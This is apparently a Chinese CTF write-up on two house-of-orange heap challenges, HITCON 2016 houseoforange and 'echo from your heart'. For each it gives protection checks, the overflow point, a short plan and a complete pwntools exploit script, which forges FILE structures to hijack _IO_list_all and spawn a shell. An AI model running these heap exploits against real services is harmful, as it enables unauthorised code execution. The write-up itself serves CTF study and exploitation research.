两道经典的house of orange例题

TOC

  1. 1. house-of-orange-500
    1. 1.1. 安全防护
    2. 1.2. 溢出点
    3. 1.3. 思路
    4. 1.4. 脚本
  2. 2. echo from your heart
    1. 2.1. 安全防护
    2. 2.2. 源码
    3. 2.3. 思路
    4. 2.4. 脚本

house of orange的两道经典例题进行了分析。

源程序和相关文件下载:house_of_orange.zip

house-of-orange-500

该题来自Hitcon 2016 houseoforange,算的上是house of orange的开山之作,非常经典。

当时的靶机的环境是glibc-2.23,并且是初代的,之后的glibc-2.23也是可以利用的,但是偏移略有误差。

安全防护

ex@Ubuntu:~/house$ checksec houseoforange
[*] '/home/ex/house/houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

溢出点

标准的堆溢出,在Upgrade函数中size有用户控制。

思路

构造house of orange

脚本

##!/usr/bin/python2
## -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

## for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
## signal.signal(sig, clear)

## Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = "amd64"
## context.arch = "i386"
## context.log_level = 'debug'
execve_file = './houseoforange'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
## sh = process(execve_file)
sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
## libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc-2.23.so')

## Create temporary files for GDB debugging
try:
gdbscript = '''
# b malloc.c:3472
# b malloc.c:5007
# b libc_fatal.c:141
# b abort
b genops.c:779
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Build(length, name):
sh.sendlineafter('Your choice : ', '1')
sh.sendlineafter('Length of name :', str(length))
sh.sendafter('Name :', name)
sh.sendlineafter('Price of Orange:', '1')
sh.sendlineafter('Color of Orange:', '1')

def Upgrade(length, name):
sh.sendlineafter('Your choice : ', '3')
sh.sendlineafter('Length of name :', str(length))
sh.sendafter('Name:', name)
sh.sendlineafter('Price of Orange:', '1')
sh.sendlineafter('Color of Orange:', '1')

Build(0x3f8, '\n')
## pause()
Upgrade(0x500, 'a' * 0x410 + p64(0) + p64(0xbc0))
Build(0x1000, '\n')

## large bin
Build(0x3f8, 'b' * 8)

## leak libc addr
sh.sendlineafter('Your choice : ', '2')
sh.recvuntil('b' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x618
log.success('main_arena_addr: ' + hex(main_arena_addr))

## libc_addr = main_arena_addr - 0x389b20
libc_addr = main_arena_addr - 0x3c4b20
log.success('libc_addr: ' + hex(libc_addr))

Upgrade(0x100, 'c' * 0x10)

## leak heap addr
sh.sendlineafter('Your choice : ', '2')
sh.recvuntil('c' * 0x10)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x4a0
log.success('heap_addr: ' + hex(heap_addr))

layout = [
'd' * 0x410,
# top_chunk
'/bin/sh\0', p64(0x61),
p64(0), p64(main_arena_addr + 0xa00 - 0x10), # p64(libc_addr + libc.symbols['__GI__IO_list_all'] - 0x10),
p64(2), p64(3),

'z' * 8, p64(0),
p64(0), p64(libc_addr + libc.symbols['system']),

'e' * 0x70,
p64(0), p64(0), # 0xc0

p64(0), p64(heap_addr + 0x8f0)
]

Upgrade(0x1000, flat(layout))

sh.sendlineafter('Your choice : ', '1')

## sh.sendline('id')
## print(sh.recv())

sh.interactive()
clear()

echo from your heart

靶机环境是glibc-2.24

针对于glibc-2.24vtable检查的一种绕过机制。

安全防护

ex@Ex:~/test$ checksec echo_from_your_heart
[*] '/home/ex/test/echo_from_your_heart'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

源码

##include <stdio.h>
##include <stdlib.h>
##include <string.h>
void init() {
setbuf(stdin, 0);
setbuf(stdout,0);
setbuf(stderr,0);
alarm(20);
}

unsigned int read_num() {
unsigned char buffer[10];
int i;
for(i = 0;i < 9;i++) {
buffer[i] = getchar();
if(buffer[i] == '\n') {
break;
}
}
if(buffer[i] == '\n') {
buffer[i] = 0;
}
return strtoul(buffer,0,0);
}

int main() {
init();
printf("echo from your heart\n");
int i=5;
while(i) {
printf("lens of your word: ");
unsigned int size = read_num();
if(size > 0x1000) {
printf("too long\n");
exit(1);
}
unsigned char* buffer = (unsigned char*) malloc(size);
printf("word: ");
gets(buffer);
printf("echo: ");
printf(buffer);
printf("\n");
i--;
}
}

溢出点很明显了,标志性的格式化字符串漏洞和堆溢出。

思路

  1. 格式化字符串泄露地址
  2. house of orange

脚本

##!/usr/bin/python2
## -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

## Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = "amd64"
## context.arch = "i386"
## context.log_level = 'debug'
execve_file = './echo_from_your_heart'
## sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
elf = ELF(execve_file)
## libc = ELF('./libc-2.24.so')
libc = ELF('/glibc/glibc-2.26/debug_x64/lib/libc.so.6')

## Create temporary files for GDB debugging
try:
gdbscript = '''

'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def malloc(size, content):
sh.sendlineafter('lens of your word: ', str(size))
sh.sendlineafter('word: ', content)

## pause()
malloc(0x18, 'a' * 0x10 + p64(0) + p64(0xd91))

malloc(0x1000, '%d' * 7 + '#' + '%ld')
## pause()
sh.recvuntil('#')
## libc_addr = int(sh.recvline()) - 241 - libc.symbols['__libc_start_main']
## libc_addr = int(sh.recvline()) - 385 - libc.symbols['__libc_start_main'] # 2.24
libc_addr = int(sh.recvline()) - 267 - libc.symbols['__libc_start_main'] # 2.26
log.success("libc_addr: " + hex(libc_addr))

layout = [
p64(0), p64(0x61),
p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
p64(2), p64(3),
p64(0), p64(libc_addr + libc.search('/bin/sh\0').next()),
'b' * 0x80,
p64(0),
]

payload = flat(layout).ljust(0xd8, 'c') + p64(libc_addr + libc.symbols['_IO_str_jumps'] - 8) + p64(0) + p64(libc_addr + libc.symbols['system'])

malloc(0x18,'d' * 0x10 + payload)

## pause()
sh.sendline('24')

sh.interactive()
clear()